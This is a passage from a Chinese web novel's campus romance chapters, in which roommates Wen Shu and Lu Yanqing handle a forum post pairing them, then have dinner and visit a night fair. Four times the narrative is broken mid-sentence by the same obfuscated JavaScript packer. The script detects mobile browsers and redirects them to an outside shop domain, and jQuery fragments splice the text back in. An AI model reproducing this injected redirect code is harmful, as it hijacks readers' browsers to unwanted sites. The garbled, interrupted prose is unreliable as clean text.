教授前面看了太多状态不好的,忽然看见温述的,对比强烈,夸了几句,顺便在人群里寻找了一下,然后发现这小孩儿缩在角落里小脸通红,以为他害羞,就喊了他一声。 温述突然听见自己的名字,一下子没反应过来,蹭的一下站了起来。 教授被他这忽然一下吓一跳,见他一脸茫然,打趣道:“怎么了温同学,我哪里有说的不对吗?” 温述意识到自己干了什么蠢事之后,头低的能埋进地里,周围发出无恶意的笑声,让本就红透了的脸颊更上一层楼,小声说了句没有之后啪一下坐了回去。 太丢脸了。 这一切都怪陆延青! 其实他自己也知道自己这个理由站不住脚,但他就是需要有一个人来稍微承担一下自己的情绪。 刚好和陆延青有着那么千丝万缕的关系,刚好他不在,所以温述理所当然的把这些错归结于他。 直到下课温述都没有把头抬起来,也没有回复陆延青。他迅速换好衣服,低着头快步朝着教室外面走,还没走几步忽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766928|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人叫住。 “温述。” 是同学的声音,温述停下脚步,回头看她。 那个同学凑过来,看了一眼周围,低声道:“请问你和陆学长的关系很好吗?” 温述反应了一下这个“陆学长”是谁,眨了下眼睛,有点想冷笑。 哈,谁和他关系好,他现在恨不得把路由器杀掉毁尸灭迹。 同学看到他的这个表情,了解了,拿出手机点开论坛,找到了一个帖子,递给他:“有人把你们拍下来发论坛里了,然后,嗯……风向变得有点奇怪,总之你要不要解释一下呢?” 温述结果手机往下滑,滑着滑着,表情僵在了脸上。 谢邀,怎么每一个字拆开他都认识,放一起就认不识了呢。 这几个词也能组到一起的吗? 帖子下面,不知道为什么吵了起来。一方是陆延青的学弟学妹,誓死捍卫陆延青的直男权益以及恐同人设。一方是温述的迷弟迷妹以及同系同学,坚决维护温述的性别,以及配陆延青八百个来回带拐弯。 还有一方,是莫名其妙觉得他和陆延青很配的神秘群体,冒着被打死的风险也要发出感慨:男帅男美,天生一对。 滑到最上面,温述点开了那张照片。 照片上,因为身高的原因,温述和陆延青说话时,陆延青微微低了头,他听着温述说话,眼睛一直看着温述。 不知道戳到了什么萌点,一批神秘群体横空出世,敲锣打鼓的给他们俩颁发了结婚证,并且完全不受他人影响,说出“直男就是直接喜欢一个男的”这种惊世骇俗的话。 温述:…… 这都什么跟什么啊! 温述把手机还给同学,道了一声谢,怪不得林清问他看论坛了没有,他肯定也看到了这个帖子。 他总算知道,当时上课前,落在他身上的眼神有一些为什么那么如狼似虎了,这也太荒谬了吧! 想起陆延青说放学等他,温述往门口看了一眼,没看见人,为了保险起见,还是戴上了帽子,低着头融进大部队里。 结果刚走出教室门还没几步,就被倚在墙上,抱着臂等他的陆延青一把薅住后领,拎到了面前。 “躲什么。” 温述明显的察觉到周围的视线一大半聚集在他们身上,他硬着头皮,皮笑肉不笑的说:“没有啊。” “没有躲我为什么见到我就走。”陆延青这么说,垂眸看着他。 他其实脸上的表情淡淡的,看不出来是生气还是没生气,要是别的地方温述压根不会管他,生不生气和他无关,但眼下不行,眼下他觉得自己被无数人看着,他要脸。 于是二话不说,抬手拉着陆延青的胳膊,带着他快步离开战场。 一路转了又转,来到了一个没有人的空教室,温述关上门直接开门见山:“你看了论坛发的帖子了吗?” 陆延青点了点头:“看了。” 他这么淡定,倒是给温述整不会了。陆延青不是个恐同的直男吗,为什么不在意论坛上的东西? 温述原本还以为陆延青看到那个帖子之后会立刻去澄清已经撇清关系,谁知道这人不但没有,反而十分光明正大的过来接他下课。 什么意思? 温述实在搞不懂陆延青是什么脑回路,看着他,想说些什么,却被陆延青截住了话头。 “你问完了,到我问了。” 他说这话时眼皮微微掀起,目光将温述整个人拢在里面,莫名给人带来压力,嗓音低,且没有什么起伏。 “温述,今天没x欲,那什么时候有。” 8. 没原谅 听到这句话,温述愣了一下,甚至差点没反应过来,他没想到陆延青居然还在纠结这个问题。 他真的就是不小心点错了而已啊!!! 他瞪着陆延青,半天说不出话来,不知道他一个死直男为什么要问别人什么时候有x欲。 陆延青也不急,就这样和他对视,沉默在两个人之间弥漫开来,温述实在是不喜欢陆延青这副好像什么都在掌控内的样子,眼珠子一转,开始憋坏心眼。 “什么时候有x欲和你有什么关系,难不成到时候你要献身?” 死直男,恶心不死你! 他觉得自己实在是太聪明了,在心里给自己颁了一个奖,谁知陆延青听完这句话笑了,发自内心的那种,看着很是诡异。 温述皱着眉看他,面露警戒,他一向很畏惧直男这种群体,尤其是陆延青这种严重恐同的直男。 陆延青伸手,还没做什么,温述下意识的捂住了自己的额头,一脸警惕。于是他打算摸人家脑袋的手转了个方向,搭在了肩膀上,然后一个用力,将人往自己这边拉了拉。 “是啊,下海当男模了,我很贵,你确定你点的起?” “?”温述面露惊恐的看着他,觉得他真的是疯了,他到底知不知道自己在说什么啊喂! “你,你……”你了个半天,也没说出个什么别的出来,温述第一次体会到了“人不要脸天下无敌”的具象化。 这是真的无敌了。 那人像是知道他点不起,还好心道:“但你要点的话,给你个友情价,算你便宜点儿。” “那你人还挺好的。”温述咬牙切齿。 陆延青坦然应下:“嗯哼。” 嗯哼个大头鬼啊! 温述是真的被打败了,在厚脸皮这方面,他赢不过陆延青。可恶的直男,说话就是没轻没重的。 陆延青其实也知道温述那个表情包应该不是有意发的,就是单纯的想逗逗猫,果不其然,逗炸毛了,不知道为什么,他心情挺不错的。 温述眼见着这人的嘴角上扬,像是在嘲笑他一般,就算反应再慢也知道陆延青是故意的,气不打一处来。 本来这个人上午弹了他一个痛的要死的脑瓜崩没道歉就算了,下午居然还故意逗他玩,他是什么玩具吗? 他是不会原谅这个人的。 绝对。 狠狠瞪了一眼陆延青之后,拿开他搭在自己肩膀上的手,转身就要走。 没走成,被陆延青拉住了袖子。 “去哪。”他的声音懒洋洋的。 “不关你的事。”温述不想理他,但因为被抓住,他又挣不过,只好硬邦邦的回了他一句。 陆延青就笑了,走到他身边,松开了拉着他的手,打开了门。 “怎么不关我的事。”陆延青说,“我还要赔罪,你走了我找谁赔。” 他说这话的时候一脸坦荡,仿佛真的打算给他赔罪一般,但……温述只觉得他没安好心。 因为他完全没看出来陆延青有什么悔过之心,这人满脸写着“下次还干”。 为了防止自己被气死,温述扬了一个假笑出来:“不用了,谢谢,好意我心领了。” “真不用?”陆延青挑着眉。 “不用。” “行,可惜了。”他这样说着,不经意般扫了一眼温述,状似遗憾,“我定的夜场游园票的票只能送人了。” 温述迈出去的脚又收了回来,扭头看着陆延青,板着脸说:“其实也可以用一下。” 陆延青眼底笑意更深,温述权当没看见。 他也不想的,可是那个游园会他真的好想去,一直抢不到票,网上出票的还都是黄牛价,贵的要死,根本买不起。更何况,本来陆延青就惹他生气了,他赔礼道歉是应该的。 温述就这样自己把自己说服了。 “行了,走,别在这儿傻站着了。” “去哪?” “吃饭。”陆延青看了他一眼,“还是说你打算饿着肚子玩一晚上。” “噢。”温述低着头嘟囔,“走就走,凶什么。” “……” 陆延青叹了口气,他能说自己不是在凶他吗。 不过也是,也只有温述这种在那种充满爱的家里长大的,且从小到大没怎么被骂过的人,才会觉得他刚才那句话是在凶。 娇气。 两个人走出教学楼的时候,温述迎上周围人的目光时才想起了论坛上的事儿,他戳了戳陆延青的胳膊,在对方看过来时对他招了招手,然后小声说道:“论坛上的那个帖子,你打算怎么办?” 陆延青想了一下是什么,无所谓道:“不怎么办。” “?”温述觉得有些不对,“你不是直男吗?有人P你和我的结婚照,你不反感?” 听到这,陆延青来了点精神:“结婚照?在哪。” “都说了在论坛啊,你有没有好好听我说话?”温述有些无语。 “哦,我看看。”说着,拿出手机登上论坛,那个帖子就这样飘在最上面,回帖数不断增加,陆延青点了进去,底下已经吵翻天了。 他丝毫不关心这些,往下滑拉着,终于让他滑到了一张红色的图片。 陆延青看着这张图几秒,然后发出评价:“P得挺好看。” “……?”这是重点吗? 温述越来越不理解这个人是什么意思了。 陆延青又看了几秒这张图,手指在屏幕上点了几下,随后收起手机,满不在乎地说:“不用管,过几天就好了。” “不解释吗?”温述问。 “解释什么?解释我们是舍友?”陆延青,“解释了又怎样,解释了只会让那些人更高兴,浪费那个时间干什么。” 他话说到这份上,温述也就不多说什么了,反正他本人其实无所谓,只是觉得陆延青一个恐同的直男被人P和男人的结婚照会不适,连带着看他也不爽,殃及他而已,既然他不在乎,那温述也就不管了。 陆延青见他一副松了一口气的样子,觉得有意思:“怎么,担心我?” “。”温述不知道这是从哪里看出来他在担心他的,忍不住发问,“为什么你会觉得我担心你?” 此话一出,温述想给自己一巴掌,他再一次把话题给终结了,还是以不那么友善的方式。 他总是这样,话说出口之后才反应过来这样说不太好,而他又不知道怎么弥补挽回。 陆延青本来也没生气,毕竟他们俩关系算不上好,温述只是实话实说而已,但温述手足无措的尴尬样实在有意思,忍不住多看了一会儿,故意没说话。 他不说话,温述就以为他真的生气了,更加尴尬,他现在觉得走在陆延青身边的每一步都浑身刺挠。 不管怎么说,这一次确实是他的不对,毕竟哪怕是刚认识没多久的,也会出于人道主义担心一下。 就在他实在忍受不了,准备开口道歉的时候,陆延青抬手,终于摸上了那个在空教室里就很想摸的脑袋:“不担心我啊,真无情。” 温述任由他摸自己,抿了抿唇,在那人摸够了收回手之后,神色认真的说:“陆延青。” “嗯。” “不然你还是骂我两句吧。” “?”陆延青满脸复杂的看向温述,试图从他脸上看出类似于“开玩笑”这种情绪,但是没有,什么也没有,温述是认真的。 “为什么?”他还是忍不住问道。 “我觉得你有点诡异。”温述说完,觉得自己说的有点问题,补充了一下,“也不是,就是,你刚才说那句话,很吓人,因为你之前给人的印象是很不好惹,不好说话,脾气不太好,所以一下子说那种话,就显得很诡异。” “……” “所以你还是骂我两句吧,真的挺吓人的。” “……”陆延青看着他,皮笑肉不笑,从牙缝里挤出来一句,“温述你真是笨蛋一个 ,走!吃饭!多吃点补补你的脑子!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766929|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽然毫无杀伤力,但温述把这件事翻篇了,毕竟他也没有什么受虐倾向,非要人家骂难听的话。 应了一声,跟在他后面。 两人来到校门口,陆延青的车停在路边,温述一看,哈哈,保时捷,可恶的有钱人。 陆延青的车是配有司机的,也是,毕竟少爷嘛,出行自己开车还是有点不少爷的,更何况也确实没有什么安全的地方停他的保时捷。 两个人坐在后座,温述第一次坐,有些好奇,一会儿看车内装饰,一边摸一摸坐垫。 陆延青在旁边觉得有趣,撑着下巴看他跟刚进入新领地的猫一样四处张望。 温述也意识到自己这样有些没礼貌,看了一会儿之后就不看了,目视前方,正襟危坐,像是怕把坐垫坐坏了一样。 陆延青见他这别扭的坐姿,看不下去,伸手将他往后面的靠椅上摁:“你是小学生上课吗,坐得那么端正,也不嫌累。” 温述看了他一眼,没说话。 他不说话,自然有人替他说:“想说什么就说。” 温述就说了:“陆延青,我觉得你有的时候说话有点不好听。” 车内瞬间安静下来,前面开车的司机大气也不敢喘一下,生怕自家少爷一个不高兴,连着他一起骂。 他知道自家少爷虽然看上去不好相与,但实际上其实人很好,很少发脾气,只是因为平日里脸上经常没什么表情,所以显得有些凶。 但问题是,很少发脾气不代表没有脾气啊!他见过少爷生气的样子,冷着一张脸,明明说的话不带一点脏字,但就是很刻薄难听,司机此时连看都不敢看一眼后面。 陆延青没发觉前面的司机的心理路程,他看着温述,伸手捏了捏他的脸,语气有些不爽:“带你去吃饭,还带你去游园会,你就这么说我是吧,没良心的。” “唔,疼!”温述疼得直皱眉,伸出手扒拉他的手。 “疼就对了。”陆延青说是这么说,但还是松了手。 温述也知道自己理亏,揉着自己的脸不说话,装鹌鹑。 陆延青看他缩成一团,叹了口气,只觉得自己车上坐了个祖宗。 “我说话就不好听,你不是早就知道了。” 温述听他这么说,没吭声,只是又把自己缩了缩,本来就没占多大位置,这么一缩,显得更小了。 陆延青就叹气,忍不住又问道:“真的不好听?” “……” “说话,温述。” “嗯。”温述闷闷的应了一声。 “除了这个还有别的吗。”陆延青说。 “……有的时候,会有点凶。”他说完,像是怕陆延青生气一般,补了一句,“只是有的时候,只有一点点。” “嗯。”陆延青是真的拿他没办法,“知道了,下次注意。” 温述听到这句话,呼吸都停滞了一下,他悄悄侧过头,看了眼陆延青。 他觉得有些神奇,因为陆延青在他心里一直都是我行我素的,根本不在乎别人怎么看他,毕竟他有那个资本,但是陆延青刚才和他说,“下次注意”。 实在是有点,梦幻了。 他看着他,小声问道:“为什么?” “什么?” “为什么要说下次注意,我以为你不会在乎这些。”温述这么说,眼睛一直在看他的表情。 陆延青任他看:“没有为什么,硬要说的话,把你惹生气了,哄哄你。” 听他这么说,温述莫名觉得有点委屈,他就是这样,一感受到有人迁就安慰他,他就控制不住自己的情绪。 “陆延青。”温述的噪音低低的,且轻,像是羽毛一般拂过人的心尖,让人平白觉得心软,“我还没有原谅你,你弹我的脑瓜崩和捏我脸都很疼。” 陆延青就笑了,抬手揉了揉温述的脑袋,将人柔顺的头发揉乱之后,又一点点给他抚平。 声音懒散,融化在傍晚的风里。 “嗯,我知道。” 9. 是笨蛋 陆延青定的餐厅距离游园会很近,属于吃完饭走几步路就能到的距离,但同样的,因为是在游园会旁边,所以消费也不是一般的高。 温述下车后直接愣住了,呆站在原地,手握着车门把手,大有一副回到车上去的架势。 陆延青走了几步发现没人跟上来,扭头找人,看到他那个样子有些忍俊不禁。 “你要把我车门拽下来吗?”他略带调侃的说。 温述这才松了手,不抓车门了,但不抓车门之后显得更局促,人在尴尬的时候是会给自己找事情干的,因此温述尬笑了一下,说道:“好,好多人啊。” 陆延青:“……” 他再看不出来温述的局促他就是傻子了,于是他三两步走到温述身后,抬手搭在他的肩膀上,将他往前面推,带着他走。 “很多人,所以吃快点,晚了很挤。” 陆延青身量高,又因为健身所以肩宽背阔,站在温述身后显得温述小小一只。 此时温述被他推着走,还有些没反应过来,脸上的表情呆呆的,没扎好的头发散落在脸颊两侧,却不显凌乱,反而多了些朦胧感,配着他那个表情,更显得清纯。 “等一下。”在踏进餐厅的前一秒,温述的大脑终于开机了。 他停住,回头看陆延青,结果他停住了,陆延青没停住,他没想到他会突然停下,又往前走了两步,温述被推得一个踉跄,重心不稳,朝后倒去。 眼看着后脑勺要撞到玻璃门上了,一只大手垫在了他的脑后。 “唔!” 脑袋倒是不疼,毕竟被护住了,就是垫在后面的手估计就不是那么好过了,因为温述听到了十分沉闷的骨头撞在门上的声音。 陆延青扶好他,又在他脑门上不轻不重的扣了一下,收回了手,拧眉道:“突然停下来干什么,差点摔倒。” 温述的注意力却全然在他的那只手上,完全没听见他在说什么,漂亮的眉头此时威威蹙起,那双平日里总是带着淡淡的笑意的眼睛,此时盛满了担忧。 “我看看你的手。”他说完,又抬眼看向陆延青,声音轻且缓,仔细听还带着些哄人的意味,“可以吗?” “……” 有的人天生知道怎么利用自己的长处来达到自己的目的,或许是有意识,也或许是无意识,不过是哪种都不重要,因为他表现出来的那副样子,会让你觉得他就是真心的。 陆延青沉默的和温述对视,几秒后,温述成功握住了他伸过来的手。 那只修长有力,骨骼明显的手上此时迅速泛上红,尤其是指骨关节处,红了一大片。 温述抿了抿唇,用指腹轻轻摸了摸,小声问道:“疼吗?” “还行。”陆延青说着,看了一眼温述的脸色,又补了一句,“没感觉。” “真的没感觉还是假的没感觉?你不要骗我。”温述看着他,神色认真,双手还捧着他的那只受伤的手。 怎么说呢,陆延青觉得他这副样子,像极了担心主人受伤的小猫。 “……” 他闭了闭眼,第一次觉得自己简直不是个人。那人在那边担心他,他在这边觉得对方像小猫,还把自己放在了“主人”的位置上。 陆延青你真不是个人啊! 温述见他这样,以为自己不小心碰到了他的手,弄疼他了,有些无措:“我弄疼你了吗?对不起,要不还是去医院看一下吧。” 他说着,就要拉着陆延青走,陆延青赶紧把人拉了回来,语气里带着无奈:“没事,不疼,真的。” “真的吗?”温述皱着眉问。 “真的。”陆延青坦荡的回。 “看着我的眼睛说。”温述不依不饶。 “真的不疼。”陆延青依旧坦荡。 “……” “……” 陆延青撇开了视线:“就一点。” 温述满意了,从兜里摸出来一颗糖递给他:“奖励。” 看着他接过去,像是怕他不懂自己的意思般,温述补充了一句:“说实话的奖励。” 手心里那块小小的糖果包装袋很可爱,颜色鲜艳,散发着淡淡的甜香,是白桃味儿的。 温述还在那边说要带他去医院,说别是伤到骨头了,话语里的担心不似作假。 陆延青却只是将手上的糖收了起来,然后摸了摸他的脑袋,语气如常:“走,吃饭。” 温述皱眉:“那你的手怎么办?” “不怎么办。”陆延青说,“没事,我有分寸。” “有分寸还把手垫我脑袋后面,我磕一下又不会怎么样。”温述小声嘟囔着。 陆延青看了一眼他的脑袋,哼笑一声:“本来就是个笨蛋了,再磕一下真成白痴了。” 温述睨着他,不语。 两个人对视着,几秒后,陆延青想起来了什么,抿了抿唇:“抱歉。” 他前不久才答应温述下次说话会注意一点不那么难听,结果这会儿嘴又跟淬了毒一样。 “好吧,看在你手受伤的份上原谅你了。”温述说着,撇了撇嘴。 “谢谢温大人原谅小的。”陆延青,“所以大人我们能不能吃饭了?” “……吃吧。” 他实在是搞不懂为什么陆延青这么执着于吃饭,搞得好像饿了很久一样,连手上的伤都不顾了。 陆延青也不管他脸上怪异的表情,带着他推开门进去,报了名字之后,工作人员带着他们去了包厢。 这家餐厅的风格偏向复古风,很有中世纪的感觉,环境很好,据说味道也很好,是难得的饭漂亮味道也漂亮的店。 直到坐在餐桌前,温述才又想起来自己在门口的时候,因故被打断的话。 “等一下,这个会不会……太丰盛了?”温述想了半天,用了个委婉的词儿。 听他这么说,陆延青眉梢微挑,看着他的目光里带着些调侃的意味,“不啊,刚刚好,不丰盛怎么补你的笨蛋脑子。” “。”温述的眼神一下子变得有些幽怨。 “……”陆延青服气了,“我撤回我之前那句话,真改不了。” 温述本来也不指望陆延青真的能做到,毕竟这人日常生活里是把嘴毒贯彻到底的,嘴跟管制刀具一样,所以在他说撤回的时候也没什么表示,只是露出一个看透一切的笑。 “少爷说话不怎么好听也是正常的。” 陆延青被调侃也丝毫不脸红,点头附和道:“少爷欺负室友也是正常的。” “?”温述不认可,“这个还是不正常的。” “正常,我少爷脾气大。”十分的理直气壮。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766930|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆延青。”温述的声音幽幽的。 陆延青只当自己没看见。 经这么一通闹,温述的那一点顾虑也被打消,本来还想着这个餐厅消费高,陆延青请他吃这个,他有些不太好意思,毕竟他今天也确实是对他的态度不是特别好。 但现在不一样了,他现在不这么想了,他现在想赶紧上菜,他今天非吃穷陆延青这家伙不可。 所以等菜上齐的时候,温述埋头苦吃,这个吃那个也吃,给陆延青看愣住了。 他就眼见着温述哐哐哐给自己嘴巴里塞一大口,又哐哐哐给自己夹了好几筷子,甚至还喝了好几口茶水。 完全看不出来小小的身板能有这么大的胃口,给陆延青看得都放下筷子,专心致志看他吃了。 在温述再一次把自己塞成仓鼠的时候,他终于察觉到一丝丝的不对劲之处。 抬眼,和陆延青对上视线,对方的眼里有纵容,有不可思议,还有一丝……宠爱? 温述被自己的想法吓了一跳,将嘴巴里的东西嚼嚼嚼咽下去之后,问道:“你看我干什么?” 陆延青没有回他这个问题,反问他:“温述,你实话说。” “什么?” “你多久没吃一顿饱饭了?” “……” 等一下,你是不是误会了什么?! 他看了一眼自己面前的碗,沉默了。好吧,陆延青会想这么想确实不是他的问题,不怪他。 “不是……”温述艰难的为自己辩解,“我,我不是,这个,我吃过饱饭的……” 这是真有苦说不出了,他总不能说,他不是没吃过饱饭,他是打算把陆延青吃穷。 温述第一次直观的感受到了什么叫做“搬起石头砸自己的脚”,他做得有点太过火了。 陆延青说得对,至少这个时候,他承认自己是笨蛋。 可恶!早知道就收敛着点儿吃了,丢脸死了! 陆延青看着他脸上的表情,虽然低垂着脸,但还是可以看出来表情里带着“否认”,小脸皱在一起,像是在懊恼自己的行为。 总之看上去没有被拆穿没吃过饱饭的窘迫,大概只是单纯的觉得好吃所以小猪瘾犯了,陆延青收回了视线。 “陆延青。”温述看着他,音调拉长,且声低,“陆延青。” “嗯?”陆延青应了声。 “你在笑什么?” “没笑。”陆延青摸了摸自己的脸,又重复了一遍,“我没笑。” “你就有,你是不是在嘲笑我?嘲笑我吃得多对不对?”温述有些不满,还有些委屈。 他说这话的时候,嘴巴撇着,眼神恹恹的,平日里亮亮的眼睛此时无精打采的,心情低落。 陆延青只好哄人:“没嘲笑,只是觉得像小猪。” “……” 温述看着他,神色认真道:“陆延青,你还是说我是笨蛋吧。” “说我是小猪好可怕。” 陆延青:“。” 这下轮到陆延青无语了。 他的脸上勾起一抹假笑,看着有些瘆人,一字一顿道:“你就是笨蛋,最笨的那一个。” “满意了?” 温述煞有介事的点了点头:“满意了。” 陆延青见他这样,气笑了。 靠。 10. 游园会 这顿饭吃完,外面的天已经开始黑了,路灯渐亮,将两个人的影子拉得长长的。 游园会那边开始清日场的人,温述跟在陆延青身后,踩着他的影子走,面上不吭声,心里却想着是:我今天踩不死你! 几分钟前。 秉承着光盘行动,不要浪费的原则,温述硬生生的把剩下的甜品也给吃完了。期间,陆延青实在看不过眼,也跟着他吃,但这种甜腻的东西他实在不喜欢,所以没吃几个就停下了。 也试图劝温述停下这种,除了撑坏自己外,没有什么太大作用的行为,但温述只是淡淡的撇了他一下,没有理他。 陆延青见他不理自己,也没再多说什么,只是靠在椅背抱着臂看他吃。 在他艰难的咽下最后一口蛋糕的时候,评价道:“真就跟……猪一样。” 温述说别叫他“小猪”,所以他把小字省略了,但说出口之后觉得,怎么听怎么像骂人,可他初衷只是想说温述胃口好。 “……” 果不其然,再看过去的时候,温述一边喝水,一边瞪他。 陆延青沉默的移开视线,有些心虚。 温述放下杯子,不是很想理对面那个可恶的家伙,但可恶的家伙还要带他去游园会夜场玩,所以他大度的没有计较。 只是站起身,走到陆延青的身前,抬手,将他那一丝不苟的头发胡乱揉了一通,成功炸毛。 陆延青没想到他会突然来这么一遭,一时没反应过来,怔愣的样子,配上他那炸顶的头发,莫名有些好笑,且呆。 于是温述真的笑出了声。 很轻的一声,并不吵,笑得很乖,漂亮的眼睛微微弯起,眼底有计谋得逞的得意。 所以陆延青反应过来之后并不生气,只是看着他眼睛眯了眯,有些意味不明的说:“你现在胆子大的很。” 经过这一天的相处,温述也不怕他了,对着他抬了抬下巴,有恃无恐的回:“那你要怎么办?” 他这一副恃宠而骄的样子,明摆着是知道陆延青不会怎么样,所以故意这么问,倒显得像是在撒娇。 不过也很显然,有人吃这套。 所以陆延青没有应他,只是摇摇头,从鼻腔里发出一声叹息。 “行了,吃完就走吧,游园会夜场要开了。”他说着,站起身,想走,却发现温述挡在他的身前。 陆延青挑了下眉。 面前的人儿抬头和他对视,眼底闪过一丝戏谑:“陆延青,你知道你刚才的样子像什么吗?” 不等他回答,温述就自顾自的接上话头:“像炸毛小狗。” 倒是第一次被人这样形容,陆延青觉得有些新鲜,点了下头,表示自己知道了。 “行,我俩就在这店里演动物世界。” 温述:“……” 好冷的笑话。 温述败下阵来,在让对方吃瘪这方面,他比不过陆延青,甘拜下风,于是老老实实地跟在了陆延青身后。 因为游园会清场,所以园区门口的人数骤然增多,拥挤非常。 在温述不知道多少次被人潮挤得差点跟丢陆延青之后,陆延青伸手拉住了他的手腕。 被拉住的那一瞬间,温述浑身都僵住了,有些不确定的看向陆延青。 只见他神色如常,甚至将两人的手拉上来晃了晃,言简意赅:“不会走丢。” 嗯,确实是不会走丢了,只是有点引人注目,有点丢脸罢了。 温述不想被拉着手,但是又不可否认这确实是当下的最优解,于是他只能低垂着头,任由陆延青拽着自己走。 一边走还一边安慰自己,只是为了不走散而已,没什么好奇怪的! 两人好不容易来到检票处,温述赶紧把自己的手腕挣脱回来,用另一只手揉了揉。 只见这么一小会儿的功夫,他那白皙的腕骨处已然红了一片。 他的皮肤白,加上体质原因,总是容易受伤,容易留疤,容易留印子。所以即使陆延青拉着他的力度并不大,但是他的手腕还是红了。 看着他手腕的红,陆延青抿了抿唇,几秒后问道:“疼吗?” 在温述看过去的时候又问:“我用的力气很大?” 温述想说没什么,但难得见到陆延青这副样子,所以故意没说话,略微耷拉着眼皮看他,营造出一副自己委屈但不吭声的模样。 果不其然,陆延青更愧疚了。 他垂眸看着那细白的手腕,眼底情绪不明。 温述的骨架偏小,所以手腕也细,陆延青抓着他的时候就感觉到了,也因此,他刻意放轻了力度,只是没想到还是弄成了这样。 “……抱歉。”声音低且沉,听上去心情不是很好。 温述愣住了,他没有想到陆延青会跟他道歉,因为自己体质的原因,所以这种情况他见得多了,根本不觉得有什么,更何况,陆延青抓着他的力度其实并不大。 他只是想逗一下陆延青玩,他以为陆延青能看出来,但他没想到,陆延青直接跟他道歉。 这就有点玩儿脱了。 他看了眼自己的手腕,又看了眼陆延青的表情,咬了下唇,在脑中天人交战。 一个白色小人说告诉他吧,别让他那么愧疚。 一个黑色小人说告诉个屁!万一他生气揍我怎么办? 想了半天,终于还是白的战胜黑的,温述鼓起勇气,有些心虚的说:“其实不疼,没感觉,红了只是因为我体质的问题。” 他说完,低垂着头,默默等待审判。 而审判长只是微微松了口气,压在心上的石头终于被撬走,连呼吸都顺畅起来。 “没事就好。”陆延青这么说。 就这么轻拿轻放了? 温述觉得有些不敢相信,他刚才耍了陆延青一下,但是陆延青并没有生气,还说没事就好。 这么一对比下来,显得他很是过分。 温述在心里默默的谴责自己。 这么一会儿的功夫,检票检到他们了,陆延青将票码递过去,扫完码后带着温述走进园区。 此时已经进来不少人,但跟外面相比,不算很多。 距离游场活动开始还有整整半个小时,温述第一次进这个游园会的园区,看什么都新鲜,活像个好奇心拉满的小猫。 从一开始的陆延青领着他,变成了他领着陆延青,区别在于,陆延青是有目的的领着他,而他纯纯是带着陆延青乱走。 就在他即将再度跨进一家店的时候,陆延青终于拉住了他,将他往回带,语气里有些无奈:“好了,走吧,别看这个。” “怎么了?为什么不让看?”温述实在有些好奇,一步三回头。 不过很快他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766931|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好奇了。 “那是成人情趣用品。” 听到这几个字,温述脸都木了。他觉得有些不可置信,不懂为什么要在游园区里置办一个这种店。 什么意思?方便某些玩完游园会还是精力充沛的小情侣,施展自己无处安放的精力吗? 温述不懂,温述大为震撼。 温述面无表情的扭过头,头也不回的走。 陆延青跟在他身后笑。 “好了,不要笑了!”他面上有些挂不住,脸颊微红,有点恼羞成怒,“我又不知道那是那个!” “好,我不笑了。”甚至陆延青说这句话的时候,尾音里都带着笑。 但他话是这么说,脸上的表情可不是这么做的,确实没笑出声了,只是眼睛越来越弯了而已。 温述:“……” 请问这和笑的区别在哪?! 他瞪着陆延青,像是随时都会冲上来给他两爪子。陆延青这才稍微正色,收敛了自己的表情。 温述满意了。 等他们绕了一圈回到原点的时候,游场活动刚好开启,打头阵的是一些可爱的玩偶,温述看见它们后立马拿出手机开启录像。 有一只甚至走到他的面前给他来了个飞吻,温述心都要被萌化了,肉眼可见的开心。 漂亮的脸蛋因为情绪高涨而显得更加明媚有生气,陆延青看着他,忽然觉得带他来这里玩,真的是一个很正确的决定。 温述的脸本就漂亮,只是平日里情绪波动并不是很大,气急了,也只是毫无威慑力的瞪着别人,显得很乖。 他的脸是那种一眼惊艳的好看,由于脸部线条柔和所以显得不那么有攻击性,或者换句话说,他的漂亮像个空洞的洋娃娃。但这也就意味着,他脸上的表情足够鲜活的时候,他整个人也会“鲜活”起来。 察觉到身旁的视线,那人笑着侧过头,问他怎么了。 他没说话,摇摇头,表示没事,那人便将脑袋侧了回去,看到前面那只小熊被小兔欺负,又笑出了声。 